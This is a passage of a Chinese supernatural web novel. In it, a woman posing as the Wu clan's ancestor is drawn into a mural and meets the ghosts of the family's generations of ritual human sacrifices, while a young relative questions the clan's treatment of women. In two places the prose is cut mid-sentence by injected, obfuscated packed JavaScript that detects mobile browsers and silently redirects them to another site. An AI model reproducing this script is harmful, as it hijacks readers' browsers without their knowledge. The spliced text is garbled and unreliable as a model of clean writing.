“你…”吴天其震惊得说不出话。 “还不赶紧给祖宗我松绑!” “快去啊!”吴天华扬起拐杖打在弟弟身上。 吴天其着急忙慌给椅子上女人松了绑,一时之间,吴天华,吴天其两人面面相觑,无所适从。 只见女人转了转绑麻的手腕,乜着眼说道,“明个儿大祭,我好不容易找到机会,上来看看,你们这些不肖子孙,废物!” “先人说的是,说的是。”吴天华谦卑附和。 “还有,这屋子一股什么味儿,难受死了。” 吴天华连忙从兜里拿出一个小瓷瓶,“先人,你点涂在太阳穴,和人中,五分钟就能见效。” “现在才拿出来,想害死我?” “不敢,不敢。” 吴昭戈在一旁看得目瞪口呆。 这什么和什么? 只见女人在客厅左右环顾一圈后,径直打开北角的门,指着里面昏迷不醒的人问:“这是明天祭品?” 吴天华正要接话,吴天其上前阻拦,他早年在国外当过两年混子,琢磨了一会儿,还是感觉不对劲。 “先人,我有一事不明白,您是怎么上来的,又怎么能附在这个人身上?” “自然是靠钱。多亏你们这些子孙后代年年烧的贡品,香火,我们吴家在底下也是大户人家,只要有钱,什么办不到。”女人说完秀眉一蹙,反问起来,“你敢怀疑我?” 说完目光滑向吴天华,“吴天华,你就是这么教弟弟的?” “老七,你放肆!” “哥,我..就是觉得有些蹊跷。”吴天其从小就怕他哥,被这么一吼,语气跟着弱下来,嘟囔着,“怎么会这么巧。” “这有何蹊跷,她若不是先人,连老八都不知道的秘密,她一个陌生人怎么会知道?” 这么一说,也不无道理,吴天其虽然还有疑惑,但也不敢再忤逆吴天华,只能悻悻作罢。 “这祭品要死了。”女人进到房间,用手推了推毫无反应的人,一脸嫌弃地说。 这时,底下传来脚步声,那个眼角有疤的男人端着冒白气的碗上楼来。 只见男人扶起床上无知无觉的人,把滚烫的汤药灌进他喉咙,床上的人已经没力了,手脚虚弱地挣扎了几下后,瘫了下去。 “哥!二爷爷,你快阻止他,那是你亲孙子啊。”念在吴昭戈是吴家人,即使被绑着,也没绑实,在他看到吴昭州被人灌药时,他一下子从椅子上站起来,踉跄着跑了过来。 “你闭嘴,有你什么事?”吴天其生怕吴昭戈惹怒吴天华,一脚踢倒吴昭戈,嘴里骂骂咧咧,“等会儿老子再跟你算账。” “这是作甚?” 吴天华看了一眼倒在地上哭得一抽一抽的孙子,和吴天其互相交换了视线,他低声对先人说:“先人,请跟我下楼。” 女人望着床上的人,沉默几秒,“行。” 拾冬跟着他们下楼。 二楼的楼梯比一楼深,越到下面光线越暗,耳边的潺潺流水声也越来越清晰。拾冬边下楼边想脱身的计策,现在她说的这些仅仅是从祝婉儿幻境里得知的,若是待会他们问得再细一点,她肯定会露馅。 必须想办法出去, 姜州就是下一个小喜。 “先人,请。” 不知不觉他们已经下到了二 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随后一阵金属倒地的哗啦声。 吴昭戈本能冲下楼,刚一下楼便看到了女人正被自己爷爷抓着头不断往地上磕,“咚咚咚”声和此时剧烈跳动的心脏声一起振动。 再这么下去,她会死。 “爷爷...你住手!”吴昭戈快步冲过去,推开吴天其。 “你这个废物,闭嘴!滚!”摔了个屁股墩的吴天其气得咬牙切齿,恨不得把吴昭戈也一起弄死算了。 “你不是教我不可以做违法乱纪的事吗?爷爷,这是杀人啊!” 短短几个小时,吴昭戈从小建立的世界观塌成废墟。他每次打完架都语重心长教育他,不能仗势欺人,不能恃强凌弱的爷爷,为什么变成这样了。 泪眼朦胧中,吴昭戈看到地上额头渗出鲜血的女人借着自己的手爬起来,他急忙扶住,两人极近地靠在一起,他听到女人虚弱地说:“吴昭戈,原路返回,那里一定有出去的机关,出去报警,快!” “可是...” 吴昭戈听到报警两字犹豫了。 他怎么能举报自己的亲人。 “你到现在都觉得你看到这些能活着出去吗?”拾冬抬头看向面前六神无主的小孩,“刚刚你爷爷说,要把你一起弄死。” 吴昭戈看着朝自己快步走来的爷爷,就在这几秒下定决心,没有丝毫犹豫,半抱着拾冬飞速转身跑了起来。 “逆子!你站住!” “你带我走不快的!”拾冬手腕都要被他扯脱臼了,两人跑得东倒西歪。 “不行,你是我带进来的,我一定要把你带出去。” 刚跑到楼上,两人左脚打右脚,一个没走稳摔成一团,身后的脚步声越来越近,拾冬撑墙想站起来时,手心有些痒,一扭头,浮雕画里的人,在抓她手腕! “走啊!”吴昭戈爬起来就要拉拾冬走,结果对方纹丝不动,这会儿他已经看到爷爷露出的半个脑袋了,“走啊!愣着干什么?!” 吴昭戈搞不懂她为什么不走,就在下一秒,他余光瞥到墙上的画,他用力眨了眨眼,确信眼前的一幕不是幻觉,画里的人,在动,他们不断朝着前面走去,而前面放着的,是那个女人的手。 “你...” “出去报警!” 吴昭戈眼睁睁看着女人被拖进画里。 他吓得瘫倒在地。 * 出去报警 出去报警 出去报警 只记住这四个字的吴昭戈连滚带爬跑到了刚刚密室门口,虽然有灯,但真要找什么东西,这点亮度是不够的。吴昭戈慌乱在墙上摸来摸去,墙壁一片光滑,除了过道那几盏灯什么都没有。 灯! 吴昭戈扭头去查看壁灯,吴天其的脚步声也跟着越来越近。 快点,快点,快点啊! 吴昭戈颤抖着对着一盏盏的灯毫无章法地又拧又拽,终于在右侧第三盏壁灯上发现了开关。 门缓缓打开,漏出一道光亮。 他从没觉得光明如此难得。 吴昭戈朝着门口跑去。 “逆子,你站住!”吴天其气喘吁吁跑到密道,看到正缓缓打开的门,顾不得许多,飞扑过去抱住要跑的吴昭戈,“你他娘的,就不该让你那个妈进门,看她给你教成什么熊样,是非不分,你姓吴!你想害死吴家吗?你吃的穿的用的,哪样不是吴家的,小兔崽子,白眼狼。” “我妈没错!你怎么不管你那个出轨的儿子!”吴昭戈毫不费力挣开吴天其,第一次这么直白把家里丑事当着爷爷的面说开,“你们就会诋毁我妈,说我妈这不好那不好,那你儿子呢?你那个人渣儿子就好了吗?!” “你反了...” 吴天其伸手就要打被吴昭戈一手拦住,“奶奶就是受不了你这样才走的,你活该!” 吴天其喘着粗气说不出反驳的话。 现在不是说话的时候。 吴昭戈扭头要走,这时从门外进来一个人,他眯着眼在看清是谁后惊喜朝他跑去, “昭则,你...” 一根棒球棍狠狠朝自己挥来。 37. 第 37 章 “姐,供堂里竟然有密室!我和那个女人先进去看看,等出来再联系你。” 距离吴昭宁接到这条消息已过去三个小时,现在是凌晨两点半。给吴昭戈打电话提示不在服务区,给吴昭则发消息,那头也是无回复。 要不去供堂看看吧。 这个念头刚冒起,就不可避免想起了吴家规矩。 女人不能进入后室。 吴昭宁心中满是矛盾与不安。 “嘭” 关车门声在深夜显得格外清晰,她从窗户看过去,发现是妈妈,她赶忙下楼。 吴靖柔刚要拿钥匙开门,门就从里面开了,在看到是女儿后,淡淡问道:“这么晚还不睡?” “上厕所,刚好听到你回来。” “嗯。”吴靖柔换好鞋,“你上去睡吧,别吵醒你奶奶。” 吴昭宁看着妈妈疲惫的脸,知道她是特地开车回来祭祖的,她说了个好,上了几个楼梯后,转头问:“妈,为什么我不能进后室?” 吴靖柔对这个问题表示疑惑,她坐在沙发上休息,不以为然地答复:“之前不是说过吗?女人不能进祠堂。” 这话她说了二十几年了。 小时候吴昭宁看着哥哥们进后室拜祖时,她总是会问,吴靖柔每次都是这么回答她的。 “可是,为什么?为什么女人不能进祠堂?我们不都姓吴吗?” 这是吴昭宁长大以来第一次问为什么,小时候她也会问,问得多了,有次被妈妈凶了一顿后便再也没敢问。 女人不能进祠堂,渐渐刻在心里,变成金科玉律,不可冒犯。 吴靖柔偏头看向女儿,一时间哑口无言,她回答不出,又不想失了面子,便板起脸命令:“你没事问这个干什么?赶紧去睡觉。” 吴昭宁紧绷的肩膀在妈妈严肃的眼神下垮了下去,她点头说了句好,转身上楼。吴靖柔凝视着女儿背影消失在拐角,可那句“为什么”却一直没有消失。 是啊,为什么? 从没人给过自己答案,自己又如何给女儿答案? 吴靖柔深深吸了口气。 * “你小子别把人打死了。”吴天其上前探了探吴昭戈的鼻息,发现有气后精疲力尽瘫坐在地,呼呼喘气。 “对不起,七爷爷,我不是故意的,爷爷刚刚说让我无论如何拦住昭戈。”吴昭则棒球棒一扔,连忙蹲下身解释。 吴昭则在发现哥哥手机定位在祠堂后,就隐约猜到是怎么回事了,但他没想到昭戈竟然能找到密室入口。 “先别说那么多,你把他给我抬下去。”吴天其还有更重要的事要禀告,他刚刚亲眼看到那个女人被壁画吸进去了。 两人一前一后架着吴昭戈下楼,正好碰上了来查看情况的吴天华。吴天其随意把吴昭戈放到地上,紧忙上前指着壁画说:“哥,那女人进画了。” 吴天其活这么久第一次知道这画会吃人。 吴天华看了一眼墙壁,波澜不惊道:“那正好,给先人当祭品。” “万一她出来了怎么办?” 吴天华摇头,壁上画的是过往历代的献祭者,每幅画里都藏着献祭者生前的骨灰。 是他们,永保吴家基业屹立不倒,自然会帮助吴家扫清障碍。 被吸进画里的女人,怎么可能出的来。 * 拾冬一个趔趄落到地面,身子失去平衡向前倾,头撞上前面的柱子。 刚刚被拖进画里后,她失去重心一直在往下坠,慌乱中,好像有人将她拽到了这里。 这里... 夜雾蒙蒙中,依稀辨认出回廊,花园,和不远处的青瓦屋顶,这是一处古代宅子。 “吱呀..” 她听到推门声,循声往前走了几步,看到一扇敞着的门里,一个跪在地上的小孩正被一个妇人用棍棒毒打,地上散乱着一些宣纸,纸上用红色墨汁写着看不懂的文字,和在吴家密室看到的一样。 “教过你多少次,怎么还学不会?你个猪脑子,废物!还哭,不准哭!今天的饭别吃了!什么时候学会什么时候有饭吃!” 棍子扔在地上发出“咚”的声响,妇人理了理弄乱的步摇走出房门,一边吩咐身旁的丫鬟“晚上记得给少爷送药。” 丫鬟低声说好。 地上的小孩见人走了好一会儿,才敢撑着凳子爬起来,他吸着鼻子,哆哆嗦嗦坐在板凳上,拿起毛笔在砚台里蘸了蘸,埋头在纸上开始写字,豆大的眼泪一滴滴落在纸上,他急忙用手背擦去,努力遏制快要漫出喉咙的哭声。 门在这时自动掩上了。 拾冬想起来这是哪了。 这是吴家宅子。 里面的人,是小喜。 她现在看的,是那时小喜没走完的那几个房间。 “董大的事处理好了?” 另一扇门里传来声音,刚一走近,看到一五十多的男人。 “有钱什么办不了。”刚打过小喜的妇人坐在桌边给自己倒了杯茶,眼珠一转,“过两天就要大祭了,我还有一法子,可以彻底保证弄垮柯家。” “什么法子?” “现在各地都在抓叫魂,若是柯家长子叫魂把小喜弄死了,你说,还会有人敢买柯家的东西吗?” 两人对视了几秒,男人捻着胡须,朗声笑了起来,“夫人果真聪明机智啊!甚好甚好..” 这时,从门外走进一女子,她视若无睹穿过兀自得意笑着的两人,房内的陈设开始变化,光线逐渐变暗,最后变成了一间牢房。女人走进牢房,从地上抱起奄奄一息的小喜,轻轻拍着他,像是哄睡, “为什么打董大的孙子?” “不要他来家里,怕他跟我一样。”小喜在女人怀里呓语,“娘,我只是用小石头砸了铁蛋把他赶走,是铁蛋偷东西,被别人打了,不是我。” “娘,我是不是要死了?” 女人轻轻摸了摸孩子的头,低头时眼泪滴落在他头顶,“累不累,娘给你唱首曲子,睡吧。” “好。” 女人把孩子横抱在怀里,拍着背轻声唱起歌来: “燕燕,燕燕,飞过殿前, 殿前有朵红牡丹, 牡丹开花十二瓣, 瓣瓣替侬保平安” 在祝婉儿的幻境里,董大说他的孙子是小喜打死的,而在这里,董大的孙子是因为偷东西被别人打死的。 拾冬无法判断谁真谁假,也不想判断,她现在要想的是,如何从这出去。 “燕燕,燕燕,飞过殿前, 殿前有朵红牡丹, 牡丹开花十二瓣, 瓣瓣替侬保平安”① 这歌声,就在身后般近。 拾冬察觉不对,一回头,身后不知何时站着七八个人,黑压压一片,昏暗中一道稚嫩的声音响起: “这个姐姐,我曾见过的。”② 接着一道声音幽幽接话, “祖爷爷,红楼梦不是你这个年纪看的。” ? 不远处跃出一道天光,照亮了他们的脸。 * “我先说!” “当然是我先。” “你们都别争,先让我这个留过洋的给贵客吟诗一首。” “孙媳退下。” “嗻。” 等...等一下...这是什么情况。 拾冬被两人扯得东倒西歪,脑子一时没反应过来目前的状况,脚边还有一只大黄狗,尾巴摇得跟螺旋桨似的。 这时,一道较为沉稳的声音响起:“大家都先冷静,我们抓紧时间吧。” 于是拾冬被迫跟着他们到了前厅。 拾冬被安排在主位的太师椅上,剩余几人各坐在左右两排。 “我来说吧。” 见到众人点头,说话的女人站起来,双手搭在左腰际,微微屈膝,朝拾冬行了一礼。 是拾冬在祝婉儿幻境里遇见的那个女鬼。 旁边站着两个模样相似的孩子。 “我们见过。小喜当时告诉我,有人进来过院子时,我还不信,没想到真的有。”赵子晴笑不露齿,却不给人假笑的感觉,她看向在座的这些人,告诉拾冬,他们都是吴家的活祭。 在场三个男人,两个女人,两个小孩。 “为什么有两个?”即使看了那些个关于小喜的幻境,但拾冬依旧不明白,为什么有两个小喜。 赵子晴指了指个头稍矮的男孩,“这才是小喜,当年我得知小喜要被活祭,我不想让他永世不得超生,便自作主张把他溺死在了池塘。” 拾冬看向表情温婉的赵子晴,想象不出她有如此魄力。 “而这个..”赵子晴指向另一个,他看上去比小喜个头高一些,乍一看两人长得极为相似,“是小喜的替身,叫五泉,是吴窦氏从别处寻来的,他和小喜是同年同月同日生,模样竟也长得相似,吴窦氏请了一个很厉害的道士,说他有法子骗过祖宗。” 大祭在即,赵子晴不忍儿子被活祭,于是先下手为强,没想到吴窦氏找了另一个和小喜同年同月同日生的孩子,把他关在吴府,教真小喜生前的行为举止,代替小喜献祭。 “五泉献祭后,先是柯家败落,吴家在吉丰当地一家独大,生意也越做越好。” “难道你们真的觉得是小喜献祭,吴家才变好吗?”拾冬凉薄反问。 赵子晴但笑不语。 “好景不长..”左排第二个戴圆框金边眼镜的男子站了起来,他身穿古代衣服,领口处挂了一个西洋怀表,“我19岁那年,长江中下游遭遇大旱,近一半的桑田枯死,蚕也跟着饿死,民间起义,局势动荡不安,吴家当时已经关了不少铺子,但还是入不敷出...” “所以也把你活祭了?” 吴有余黯然点头,接着两手比划出十几厘米的距离,“这么长一根刀锥。” 刺进身体的时候,吴有余想起小时候看屠夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750250|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀猪,被摁住四肢,不停挣扎嚎叫的猪和自己没什么两样。 真是有病。 拾冬在心里讽刺。 “后来,我二爷爷去了广州,当时广州十三行刚刚成形,吴家又一次抓住了风口,起死回生了。”左侧第一个男人接着说,他眼神看上去比前几个要悲痛许多,“一直到丧权辱国的条约签订之后,太平天国起义,外来品冲击手工业,黄河口岸决口改道,民众饥荒,流民四起,广州十三行垄断贸易也终结了。” “说出来不怕祖宗骂,当时我根本不想继承家业,我想的是上阵杀敌!覆巢之下安有完卵!”男人神采奕奕的眼神没几秒就暗了下来,“可惜这个道理我明白,吴家不明白。” “国兴国兴,白瞎了个好名字。”吴国兴坐回椅子上,不再多言。 “こんにちは。”穿着旗袍,肚子微微隆起,留着齐肩卷发的女人从椅子上站了起来,冷不丁说了一句日语,随后指了指自己的肚子,“是他不是我。” “我要是知道吴嘉悯连自己的妻子,孩子都保不住,我当初就不该嫁给他。”女人拂了拂自己头发,“我和吴嘉悯是在日本留学认识的,也算是门当户对,回国后便成了亲,之后我一直在学校任教。 没多久,朝廷废除科举制,他大受打击,天天在家说完了,这也完了那也完了,一个大男人,不想着重新振作,自怨自艾,连女人都不如。” 女人手搭在肚子上,神情鄙夷:“全国上下实业救国,就吴家盯着自己家那点产业,在大是大非面前畏畏缩缩,得知怀孕后,我偷偷买了药准备流掉,没想到被发现了。 那是吴嘉悯第一次打我,他骂我恶毒,没有悲悯之心,什么难听骂什么。当时看着他的时候,想的却不是他。 是我在日本留学,有个人在樱花树下,给思乡的我唱了一首故乡的曲子,不知道他现在怎么样了。” 拾冬的表情和在场男人相同,只有赵子晴,拿着帕子偷偷抹泪。 “我没什么说的,死了就死了。”吴天成三七分干部头,穿着中山装,看上去最多二十来岁,说完默默低头。 拾冬瞅着眼前这人,看了十几秒,说:“你和你弟长得挺像。” 吴天华现在老了,但眉眼间和眼前的这人有几分相似。 吴天成瞥了一眼拾冬,没理会。 她听完这一部家族史,沉默了几分钟,问出心里疑问:“你们跟我说这些目的是什么?” “想你超度我们,放我们离开。”赵子晴回答道。 他们被困在这里太久了。 “如果我拒绝呢?” “那么,你也别想出去。” 拾冬看着眼前这些鬼,一拳难敌四手,好汉不吃眼前亏。 能屈能伸的拾冬当场同意了。 “为什么是我?”拾冬对这个感到疑问。 “我也想问这个问题。” ? 见拾冬不解,赵子晴解释道:“这里是吴家人封印我们的地方,从来没人进来过,你是怎么进来的?” 拾冬刚想说不是你们把我拉进来的吗,看赵子晴的表情反应过来,她应该问的是一开始自己和小喜的相遇。 “我被祝婉儿困在幻境里,通阴通到你们这的。” “祝婉儿,可是柯家柯晋元的夫人?” 拾冬点头。 “她没有转世?” “没有。”拾冬回答,又简短说了一下她如何碰上祝婉儿的前因后果。 赵子晴坐在椅子上,眉头微拧,问:“你是说,你进入幻境后遇到了小喜,他把你带到这来的?” “对,我通灵后,看到好多死人往同一个方向走,便跟过去看,结果看到了小喜。” 赵子晴怀疑摇头:“你当时看到的应该不是小喜,小喜是出不去的。” “什么意思?” “我猜想是有人不想你继续跟着,并且知道你的目的,便做了这一出幻境。” 赵子晴的话让拾冬有些意外,她起先想到的是祝婉儿,可祝婉儿连小喜真正的死因都不知道,是她的可能性不大。 如果不是祝婉儿,那会是谁? 赵子晴回顾一下拾冬刚说的话,喃喃自语:“姑娘,你怕是误入了别人的叫魂之阵。” 拾冬心一惊,想起祝婉儿的话,“不是说叫魂是假的吗?” 赵子晴摇头,换了一副郑重的表情:“叫魂之术是真的,当时为了安抚民心,朝廷咬紧不松口对外宣称是江湖术士祸乱人的把戏,若真是祸乱人的假把式,为何杀了梁家上下一百多口。” “梁家是谁?” 赵子晴正想解释,一阵猛烈的风毫无征兆刮进屋,风沙打在脸颊有微微痛感,门开开合合,发出杂乱无章的吱呀声,刚还亮堂的天瞬间暗了,在一片混乱中听到有人说:“他怎么这么快就醒了!” “他是谁?”拾冬双手握紧太师椅两旁的扶手稳住快失去平衡的自己。 “是吴家第一个活祭。” 38. 第 38 章 吴家第一个活祭,是自愿的,在他三十二岁那年,当地发生了一场蝗灾,蝗虫虽说遍布农田,但受创最严重的是吴家的桑田,吴家长孙吴永昌听信家里请来道士的话,为了吴家,自愿献祭。 吴永昌献祭后,蝗虫没两天竟然集体飞走了,吴家上下都坚信是献祭起了效果,于是,之后每一甲子年,吴家都通过献祭嫡长孙来寻求神灵庇护。 而吴永昌也对自己献祭的成果深信不疑,并以此为傲。 “他以为他是谁,我在看吴家志时候特地去查了那次蝗灾,他献祭后没两天,突发降温,蝗虫受不了冷,飞走了而已。”吴天成和其他两个男人一边抵住快要被冲破的门,一边咬牙解释,“因为他的封建,害死我们。” “现在怎么办啊?”女人挺着肚子上前帮忙抵门,小喜和五泉手牵手躲在角落,吓得一言不发。 拾冬不知下一步如何是好时,手心塞进一个什么东西,她摸了摸,好像是布。 “姑娘..”赵子晴握住拾冬的手,“这里面是我们的骨灰,请你务必带出去。” “带出去然后呢?” “在月光下超度我们。” 拾冬分不清到底是椅子在抖,还是赵子晴的手在抖,抵门的几人时不时发出使劲的低吼声,房里的桌椅早已震得东倒西歪,模糊的轮廓影影绰绰,她握紧手里的东西,问:“可我怎么出去?” “啊...” 还没等赵子晴回答,四人被外头的强力击倒在地,敞开的门外站着一位长脸,短胡须,身着月白色长袍的男子,他阴狠的目光瞬间锁定住正中间的拾冬。 倒在地上的几人连忙爬起,挡住前面,拾冬趁此把手里东西装进口袋。 “有贵客来,怎么不叫我?”吴永昌气定神闲迈步进来,见四人没有想让开的意愿,眉头一皱,“吴家子孙,不可如此没有规矩。” “谁想做吴家子孙!”吴国兴看了看身旁的这几人,眼神愤恨,“你问问他们,谁想做?” “你们为了吴家献身,死了受吴家众子孙供奉瞻仰,还有何不满足?”吴永昌步步逼近,“牺牲我们一个,让吴家得以千代万代地延续,这是你们身为嫡长孙的使命!” “我呸!”吴天成毫不客气朝吴永昌啐了一口,他此时的神情和刚刚的玩世不恭截然不同,“你知不知道我差一点就...” 他悲愤得没能说下去。 “我们生下来不是为了给吴家祭祀的!”吴有余胸前的西洋怀表随着剧烈起伏的胸口轻微晃动。 吴永昌听完,脸上没有丝毫变化,淡淡说出“自私自利,大逆不道。”八个字,随后左手一挥,四人被强风扇倒在地,吴永昌没走两步,便受到了阻碍,低头一看,左右脚各巴着几只手。 “快走啊!” 怀孕女人上前拉过拾冬,两人跑出门外,把吴永昌的怒吼声甩在身后。 “吴沈氏,你站住!” “天天吴沈氏吴沈氏...我有自己的名字,我叫沈静春。” 她的名字,是爹给取的。 静宁见春,祉猷并茂。 爹视她为珍宝,在许多女子连学堂都去不了的时代,他却不惜送自己去日本学习。 沈静春在前头跑着,她的话连同风一起吹进拾冬耳畔,“在学校教书的时候,学生都叫我沈老师,一回家,我就变成了吴沈氏。吴嘉悯抽大烟,上赌馆,他在他爹娘那问不到钱,就冲我伸手,我不给就偷偷当我的嫁妆首饰。有次我们起争执,他推了我一把,头磕在门上肿了老大一个包,他娘还要我忍。” 她们穿过满是杂草的甬道,叶片划在脸上有微微痛感,沈静春的话被哽咽声切成一段一段,“我爹在我成亲那一年病死了,他们吴家就是看我爹死了,才敢那么对我。” “我爹到死都以为我嫁了个好人家。要是不成亲就好了,我怎么就那么糊涂!” 男人仅仅用一首故乡的曲子,便能得到了一个女人的一生。 多划算的买卖。 “我的孩子,我都不知道他长什么样...” 沈静春一直往前跑,如同祭祀那天,她跑了好久,鞋都跑掉了,可终归没跑出那座吃人的宅子。 拾冬跟着沈静春来到了一口水井旁,沈静春眼眶通红,匀了好几口气说:“从这跳下去,就能回去。” 拾冬看了眼黑漆漆的井口,表示怀疑。 “来不及了,走啊。”沈静春手脚麻利把企图挣扎的拾冬推下去,对着井口大喊起来,“姑娘,你以后千万不要乱给男人生孩子啊!” 井里不断下坠的拾冬:“....” 沈静春完成了一件大事,身心放松在井边坐了好一会儿,起身拍了拍身上的灰,想想等会回去换身喜欢的衣裳。 吴永昌杀不死他们,只要那个姑娘能超度他们的骨灰,吴永昌也得跟着一起死。 死吧死吧,反正早就该死了。 她想起日本留学时读过的日本俳句,照着模糊的记忆,口齿生涩地念了起来, “露の世は露の世ながらさりながら” 起初声音只有自己能听见,可渐渐地,声音越来越大,沿途的风,草,树,连同她早已腐朽的魂也听到了。 “沈静春啊沈静春,你糊涂,你糊涂啊!” 她又哭又笑走回去,快到门口时,沈静春用帕子擦了擦脸,深吸了口气。 刚到门口,门内几人沮丧垂着头,一言不发,惟有正坐在中间的人一脸得意。 吴永昌两指捏着一块蓝布,当着沈静春的面甩了甩,残余在上面的粉末零零星星落在她眼里。 那是包着他们骨灰的蓝布。 沈静春扶着门框,笑了。 看来这次也没能跑出去。 “罢了。” * 吴昭宁一边帮村里的婶婶抬供品,一边东张西望,家里的堂兄弟差不多都到了,偏偏没看到吴昭戈和吴昭则。 还没到正式端午大典,但祠堂已经到处都是人,一些人步履匆匆,嘴里一个劲催着干活的人,快点快点,可自己一点手都不搭。 “放着吧,宁宁,你这一身旗袍,别脏了..”婶婶手脚麻利垒好包着红纸的供品,示意吴昭宁不用再帮忙。 “我一起帮忙快一些,马上就要祭拜了。” “你们拜你们的,我们干活的不用去。”婶婶憨厚一笑。还没等吴昭宁说话,便去搬下一担东西。一边走一边吆喝旁边一起做事的人, “翠英,你还有多少?” “就差猪头了。” “那东西沉,我跟你一起。” “行,诶,你说吴妈怎么还没回来,都走一星期多了,她一个老寡妇还有什么亲戚要走,这么重要的日子都不回来看看。” “吴妈在村里待了大半辈子了,好不容易出去走走,你还惦记上了。” “我是担心她,年纪一大把,一走连个信儿都没了。” 吴昭宁望着她们走远的背影,说不出什么滋味,她掏出手机,没有未读信息,正要四处找找时,听到不远处传来声音, “拾冬联系不上了,我有个狗屁心情做法事。” “师兄,你冷静,你昨天那么骂她,小姑娘心气高,指不定回家了。” “她行李都没带走,我不跟你说。” 孟永说完就要走,被贾苍和庄栋两人拖住,贾苍急得满头大汗,这个节骨眼孟永要是走了,得罪了吴家,他以后在建丰还怎么做生意。 “师兄,你听我说,法事一做完,我发动我这些徒弟挨家挨户陪你去找,找不到我带你去镇上报警,师兄,师傅教我们要有契约精神,你可不能这样丢下师弟一走了之啊,师兄,就当我求你了..” 郁之今早说拾冬不见了,他还没当回事,以为那丫头还在闹别扭,结果一直到现在,他都没看到她人,打电话显示不在服务区。 不过看着一脸乞求的师弟,他这个时候走,心里也过意不去。 “做完法事,你一定得帮我把人找到。” “肯定的肯定的,走,我们去换衣服。” “郁之,你再去找找。” “好,师傅。” 拜殿聚满了人,建丰当地的电视台也来采访,几个摄影师正扛着设备跟着记者走来走去,12点开始祭拜,现在已经快十一点四十了,吴昭宁依旧没看到吴昭则和吴昭戈。 “二哥,时间快到了,现在怎么办?” 外面锣鼓喧天,饶是在密室都隐约可闻。吴天其指了指吴昭戈,他吸了迷药,又被吴昭则打了一棍,现在人耷拉着头,毫无生气。 他不放心又一次上前探了探鼻息,有气。 “就这么绑着,你家老二问起就说他不舒服,在你屋睡觉。”吴天华看了看椅子上的人,背对着自己一副昏迷不醒的模样。 “...行。”吴天其点头应下,看了一眼壁画后,“那女人万一等会回来了怎么办?” “不可能。”吴天华笃定说道,过了几秒想到了什么凑近吴天其耳边说了几句,吴天其听后心领神会点头,随后转身上楼。 “爷爷,那我是在这还是...”吴昭则看着垂着头昏迷的吴昭戈,想起昨晚他满怀信任朝自己跑来的神情,心里充满愧疚。 “你等会跟我出去,你是吴家继承人,肯定是要去祭拜的。”吴天华说完,吴天其便回来,朝自己点了点头,他又一次看了一眼椅子上的人,以及躺在床上无知无觉的吴昭州,出了密室。 十分钟后,北角大敞开的门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755089|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,缓缓走出一个人,而椅子上的人也不约而同睁开了眼。 离正式祭拜还有十分钟的时候,吴昭宁终于看到了姗姗来迟,搀着吴天华出现的吴昭则。原本想过去,可忌惮一脸严肃的吴天华,便悄悄跟在他们身后,想找机会靠近。 “咚...咚...咚...” 随着几声铿锵有力的敲锣声,主理人嘹亮的声音通过话筒传来, “吉时已到,吴氏子孙入殿!” 在回廊躲阴的吴家人三三两两往殿中心走去。 “宁宁,你去哪,别乱走。” 吴昭宁急着想找吴昭则,却不料被不知哪冒出来的妈妈一把拽住。 吴家祭拜,是严格按照老一辈定下的规矩列队的,先男后女。直系男丁排完后,女性才按照辈分大小,依次列席。 “马上就大典了,这个时候你乱跑什么?” 吴昭宁被吴靖柔牵着,不断擦身而过的叔叔伯伯们往前,她和妈妈向后,直到面前出现站在第一排的拄着拐杖的奶奶和婶娘们。 “站好,别乱跑了。” 吴昭宁站在自己从小站到大的位置上点了点头,旁边都是堂姊妹。 “小月怎么还没来。”吴昭宁发现堂妹不在后,随口问旁边的堂姐。 “哦,听说出国玩去了,就不来了。”堂姐刚做的美甲在手机上发出嗒嗒嗒声。 “可以不来吗?” 吴昭宁想起前两年吴昭戈计划去北海道滑雪,机票酒店什么都计划好了,结果为了冬至祭祖,硬被逼着改签,为此他骂骂咧咧了好几天。 “可以啊,男的才不可以,我们就是个陪衬,显得我们是个大家族~”堂姐讥讽一笑,满脸不在意。 吴昭宁不再言语,她看向身后, 她的身后是她们。 “吴氏大典,现在开始,众人,跪!” 吴昭宁麻木跪了下去。 祭典持续了将近一小时,一结束吴昭宁顾不得安抚跪疼的膝盖,趁着吴天华接受记者采访的空隙,把吴昭则拉到一边问吴昭戈人去哪了。 “我也不知道啊,我听七叔说,他不舒服,在家休息。”祭拜出了汗,眼镜一直往下滑,吴昭则借着扶眼镜的动作掩饰心虚。 “你昨晚收到小七的信息了吗?”吴昭宁又问。 “什么信息,我昨天陪爷爷走了一天,很早就睡了。”吴昭则时不时朝爷爷方向看,迫不及待希望采访赶紧结束,他有借口脱身。 “小七说…” 等了几秒没等到后续的吴昭则看着堂妹,“小七说什么?” “他说要去国外找哥,问我去不去。” “这个啊…”吴昭则不动神色缓了口气,“我爷爷说哥在国外挺好的,我们就不用多操心了。” “是吗?那就好。” “我爷爷采访结束了,我先走了。” 吴昭宁点了点头,看吴昭则搀扶着吴天华离开。 吴昭则有洁癖,每天必换衣服,可现在他穿的,是昨天那套。 周围的人来来往往,说话声不绝于耳,空气里裹着鞭炮残余的硝烟味,她置身在阳光之下,竟莫名感到一股寒意。 她第一次发现,原来不管多亲近的人,都有隐瞒彼此的秘密。 那么,我要自己去找寻真相吗? 吴昭宁望向后室方向。 * “我丢了人,你跟我说没到24小时不予受理?!你他娘的什么警察!” 